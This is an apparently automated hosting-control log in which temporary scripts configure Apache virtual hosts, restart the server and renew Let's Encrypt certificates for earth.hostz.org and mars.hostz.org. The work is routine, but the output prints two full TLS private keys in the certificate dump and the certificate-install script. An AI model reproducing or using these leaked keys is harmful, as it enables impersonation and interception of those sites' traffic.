CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_earth_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf= 1'
fi
2025-10-09 06:00:22:
chmod 755 /tmp/pkp736767; /tmp/pkp736767; rm /tmp/pkp736767
2025-10-09 06:00:22:
2025-10-09 06:00:22:
PUT: /tmp/pkp725075
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 06:00:23:
chmod 755 /tmp/pkp725075; /tmp/pkp725075; rm /tmp/pkp725075
2025-10-09 06:00:23:
.
2025-10-09 06:00:23: Establishing a connection
2025-10-09 06:00:24:
PUT: /tmp/pkp582728
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 06:00:25:
chmod 755 /tmp/pkp582728; /tmp/pkp582728; rm /tmp/pkp582728
2025-10-09 06:00:26:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-09 06:00:26:
PUT: /tmp/pkp117059
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_earth_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 06:00:26:
chmod 755 /tmp/pkp117059; /tmp/pkp117059; rm /tmp/pkp117059
2025-10-09 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 1555
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 06:00:27:
PUT: /tmp/pkp160113
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 06:00:27:
chmod 755 /tmp/pkp160113; /tmp/pkp160113; rm /tmp/pkp160113
2025-10-09 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5348
a7:0a:40:bc:b9:87:97:a9:4e:07:4e:22:95:b9:3b:6f
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBoWL6nO0iIiD5+K+1G0rzGfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MDUwMTQ1WhcNMjYwMTA3MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyV/VL+Fx8VYgzsWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5ox
IJWtEDT4GjL+0SHm4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNx
Xp5x85iQBzgxiUGOYUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/
hEkDiyIUAKcMYCcHcpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO5
2kopmPDvmKqDKVHAcoHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2M
sDomFx6JhHWQHzGGdLTAYW0XAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFHbL6l5BGuQZmR6V8Si1qdK4UYTBMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG
1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmceOTS0AAAQDAEYwRAIg
XOoPgFHv/8L5RnTGGWJbieGhqb6jmmIpnIxntRDKvF0CIF9VvuJdQ2wWji//+GDE
E+dlWlHxHI69o3nOzse6ODG4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIakl
rGHFTiEAAAGZx45NKgAABAMARjBEAiA+rqKnl8PlIFI8pH4eTaZJ++3P4+YLmA7y
O4gZ2mXIJQIgQdQ3lXhWA7vPJSo/PQaeL1DxBCtcmMmzxK6FaHYMQpUwDQYJKoZI
hvcNAQELBQADggEBAC+EpkHDIhJWeLUFm9jMHUOzn7YTNX0pYUUdhgv4NMskrKSV
qRLsY53lmEFn0w5A/tIPKtkT9P5PCpzZoKijCmlb6tmbvW5yK/xS0BDgVsnxdI9Q
ff/afKuwX7nOBPdR5LIIK69Q6AxO95kZjzU5cR5zDlZUhfDpnJWS1lV92SiEd+2g
N7QzOSZJUfEF0E+HNaconV2Kjb7KCnYR7hYfB/Mc6C0G87Ab9SxB8kdvCNk25rjB
8Frvf7muJU5ROlQcgMC7oa+OAKOfgAvZhtPNuCK8S4d2RIxKkiuEQp724vxLxLi1
a9eTz7umqW9vTgi/1XU0Nb32QslFF3eNew2XMoI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyV/VL+Fx8VYgz
sWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5oxIJWtEDT4GjL+0SHm
4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNxXp5x85iQBzgxiUGO
YUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/hEkDiyIUAKcMYCcH
cpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO52kopmPDvmKqDKVHA
coHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2MsDomFx6JhHWQHzGG
dLTAYW0XAgMBAAECggEAEXnZCaa+uVhQTnB1QjdXr2zfv3vNscSrYxWuTcLAagt/
yqqj1L7/lB0jOCazh1jgEeNirWUz1hB8N/mqWyOIsMYxwRct3yyPSwpr3wjwLeik
MCbvTv25ljg9vWD0IynYcOYj7wkmEoSWrfMN/cKDpY/lEOcUNIyB2xE2xLgh+MUX
2h2+0kaXeXFvB3bsqHAz9JUeDpJo03/lCUut4G/iKezD8KVK9CANoFYHQODZ+j22
aL5xZpYdCaZ2ouUoUpXa+x1jdmDy3EWhAM35ja1m+xjzQZP7x1MXQNT8F+seN2Vz
k703ip5rbWjy/tMNSWpRI3Mtfn5tXH/MzAEbDilt4QKBgQDdSdarKUE7i2NnAWY/
iSKGrsjQx+K8DiEqmGrlTy6wq4NkJgtUG3roM0L8Axlr9epep5kWjD8dqdbUkiGU
iFel2VBGPaZrw+Oh/hDiUKODCxSot1BgOrnUMUNWWoimFDSwkiR0Dxm3Eq4Py5ZB
amMfu9WkkrxK3iJ9mQdTPUPsbwKBgQDOUZs+BMz0Rnsedd6dPBuVpzuOI/8CHgco
E3nhtw4xbJ/jNVy1FIU1H8nXcagH0cg9HitR6JIZeaETMow+apZFj33mlBzE9Pzs
+LcnjaOwpcaIQqDJkRiF51WuwTpbLLEMvuRuMcazp+gzwLP+ptJNm8DC2Lp1rjGW
1dUP5umt2QKBgQDPrlPlUZOiUaBZ9OtEZ+zaYEGiCGbYPZ6M/n0cdyMHtgBbRoVN
S3kfYbTVFgeO1j4+1aaMjdVSfqpb2EXhw9AWnAyFz6hX7YG+79ZiwHGlNAoQifLK
TXNIHW/oJJGo5L/Kk23Y6q8krUhlFJoRDMq45q2MhhZnYXEXVT6VtaMAywKBgQCX
v8gqPoes56YoylM5XPuBACa6rlki6oki/eg4j1Z+HcIf8KDGg1hSsZXYw7zuO2tH
IMiGD0RePmqt3xDt26G5eggFL01VxEe/2FOGYRRTmirDEBaJCxJ5cqQ/y9mrM9zp
XgJP1oaqn0YXwpXhKDwoXvXRmmzSn5PTuGVks9eOSQKBgAj+cssoNSoUYzvy0d1Y
GkTwzIepC+jT5V0v4kCVPlZvnqsHxDSLLIIpbjB17rcubi56yEBXGdV74cyadQOW
sSGfkZI11BKNkQJASNp6GPy9b3VjAbl+cECwie7MgTOm6arMk8dbQJiJiLb/ffvX
y1Gaf7UdnO7MbLnUvdj2WHbQ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-09 06:00:27: Establishing a connection
2025-10-09 06:00:28: Establishing a connection
2025-10-09 06:00:28:
PUT: /tmp/pkp642731
#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 06:00:28:
chmod 755 /tmp/pkp642731; /tmp/pkp642731; rm /tmp/pkp642731
2025-10-09 06:00:28:
1
2025-10-09 06:00:29: Establishing a connection
2025-10-09 06:00:29:
PUT: /tmp/pkp389511
#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E
2025-10-09 06:00:29:
chmod 755 /tmp/pkp389511; /tmp/pkp389511; rm /tmp/pkp389511
2025-10-09 06:00:29:
2025-10-09 06:00:34: Establishing a connection
2025-10-09 06:00:34:
PUT: /tmp/pkp149539
#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E
2025-10-09 06:00:34:
chmod 755 /tmp/pkp149539; /tmp/pkp149539; rm /tmp/pkp149539
2025-10-09 06:00:34:
2025-10-09 06:00:34: Establishing a connection
2025-10-09 06:00:34:
PUT: /tmp/pkp234273
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
72:16:f8:4e:1f:35:57:75:0b:e0:20:62:3e:62:76:cf
-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBlU3nXHtbb7cUEljQQNZXNk6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MDUwMjAxWhcNMjYwMTA3MDUwMjAwWjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM//eTz1niCwUntFTsD6FMmXVolnP9l+uH1npMsMvZ6MvjefnrlG7hPgW59DyKAY
wO6b9FPVEkyMHFUGy61t98StVe4cmM9hRcF06I63jmsJOoxRI/gVtRhH4DZ6xsUv
May2t5mKd6+5KEJB7HjOCXcPJ0z1/wxLBrdS+ducEYYgjPzh1xdWHGm3wo4DECwu
dFUax06AMWLWUL4CgSVPlGX7nUrDdaNvjTqK4nLHm8ew4A2cu3bjlxTFiidr3hfU
NwBACMWocfK/+hSNrEVNPhdMxoez7WuQYdm+y4RcOscpbbONgcuRzW98kVfFPWUd
Yi15koyOUSqP0uh86g41uXkCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYtGG5ImepC01QoCXhHqws3MOpDswHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzU5LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AGQRxGyk
EuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmceOi7MAAAQDAEYwRAIgHGwa
KjtdmZzd4cj0LHML6uXrbtWVoGXCt3Hd9J/VxdoCIHX21am1V+ipabWur2kcca6K
yShh/1h3X5YpnOiDKy2nAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZx46TsAAABAMARzBFAiEAukIXt567dh4+97acVQnz1qagvCkNdw7VJemd
i/yuBxcCIHm+vg8m8ChpC++yiviSUqDezvitow7+siPOyrfGm8cyMA0GCSqGSIb3
DQEBCwUAA4IBAQAik0gSbOrvTSSoS/woZv3tRpwUwmhD/ipoqBOUXxhIgoYoAUFK
8Z6iSAo2YUm5qnM3cRkISoFpSJD4no4TmLWEJ4kog0ZKf12ql0lIRYFjk8iCEYXY
2lyVIRk7N/kHxb233fqy9rvUkyR5uNV0iE4cLL4cr2dDNtlgIaUW6jki1+4jDqz1
McWqr+qOfWztb0fWZYoi4tH1uO84inyFqRHM7ympDe4qRtdGQvKoW/ZLpn8mgjmi
wMkWCZNenRQqAjZ5RfIsLlvqv46Sa5oFkgtPIgfWKuvcSS+EatPLacjZz1SOWiOF
mGvKXxQEXrn6UGnaCnyRh0mXRnWQW7BzogS5
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDP/3k89Z4gsFJ7
RU7A+hTJl1aJZz/Zfrh9Z6TLDL2ejL43n565Ru4T4FufQ8igGMDum/RT1RJMjBxV
BsutbffErVXuHJjPYUXBdOiOt45rCTqMUSP4FbUYR+A2esbFLzGstreZinevuShC
Qex4zgl3DydM9f8MSwa3UvnbnBGGIIz84dcXVhxpt8KOAxAsLnRVGsdOgDFi1lC+
AoElT5Rl+51Kw3Wjb406iuJyx5vHsOANnLt245cUxYona94X1DcAQAjFqHHyv/oU
jaxFTT4XTMaHs+1rkGHZvsuEXDrHKW2zjYHLkc1vfJFXxT1lHWIteZKMjlEqj9Lo
fOoONbl5AgMBAAECggEARDNfnIZo+Az4rqTWIt6dTFCMNnedbwJnGe+PEGk4D7HU
eUakc9n3HJtXT4yZTy1urY6Dea2G14SlkZet10sUj+/KGk5UKMObbMiZrJoxX5Vi
FjpQ0frEK5b9xL9TR7qmzhwHbZgCkKLkuX0GPcJJRjm4yDptC6naJOhXNxQghtq0
LBHY1sja/PTuo7bDgABSPoWx/ZW8UEoTFbmMu3oV6i47Ufsq+NFaukn+r301hSV5
gAqs3bCHyTGdj3RJQz5fObyU8vw5vorLtJ/F3E7EohkW8goy3vhxK76ZGh+qWopA
qIVhv1ZfWj6uQkVhfEcNIT61o0WhzlEAxM5DRZdotQKBgQDnpWNqhpa9WX0pBD8n
EyAHj/PsFwMMAqkRyXItW5gx28C9okQYlIOPRZFOx4HygLc85YQUZvS0AwBwHlCs
a92+4apkK98aXRQHD7PxG6ApcpOW3xx8HaNqwFMsLzLEFb21G66YUtgq+AiaUveH
q8mJdehvCrVR1Jn348mDwiZXpwKBgQDl3ZxpDjIh9qcJj5wbPifhVFj+CQsFHWMv
ENBj7gqd7GdjCHOVAJMaIrZmOhA+L7iMa5sHxKlhZh8ht/rjn3VZiY3nOUndEsnJ
4Mu9SEkC9EIjaQ60lmCRaDdZg3Jv+8lwV9lz3nwz3sZQYRkxqOGPQe1iDRKPeP++
DE0Ko8GJ3wKBgF6kW/Hx+zRxk4lmisbUMYnlbqtO25fUnm799wBBI/V660yPN3Mz
emzW539gU99YZ4Uh4MzVI7VIZK1qNVu81mRentc+dXC4Bq6747DmsJE+lr5VebXc
BiBfY5vxzLQAjfmozbS+ZENqA1nJ/AgaT8Uxvz1fCqXcTuvQzUxfznqRAoGBAIyF
bZjLlNoubu7pXAVLehXF+qFR5eq6jGe5X6u3WcYxPwLLp9zu/P59OgREeqmJgshU
//E/yExCocV7M2TzlkmmTZmM7Bq54aIISoTsK7YinEwJbXP4ehBqJWwTb2IGCp8j
FUxANq1/Ar0gnsY896ccJoJKe4456h3EZ1SZxzcBAoGBAKqcdnpIMd6AqUOxEssu
WysJ/T55VzUdcGBcvtwbE+zauZY8BrGuGtJAuh2evpIuzFif8676QLriPEsxkZm0
6NNSOAQRhpPGHP0hL8WxZWNqq4cb5PgNpboqR5MiCVHERodN3WLLUG3yKDgGosrc
HyXUnkkebqKjzKxMFHZdEChh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 06:00:34:
chmod 755 /tmp/pkp234273; /tmp/pkp234273; rm /tmp/pkp234273
2025-10-09 06:00:34:
dir=/etc/ssl/certs
2025-10-09 06:00:34:
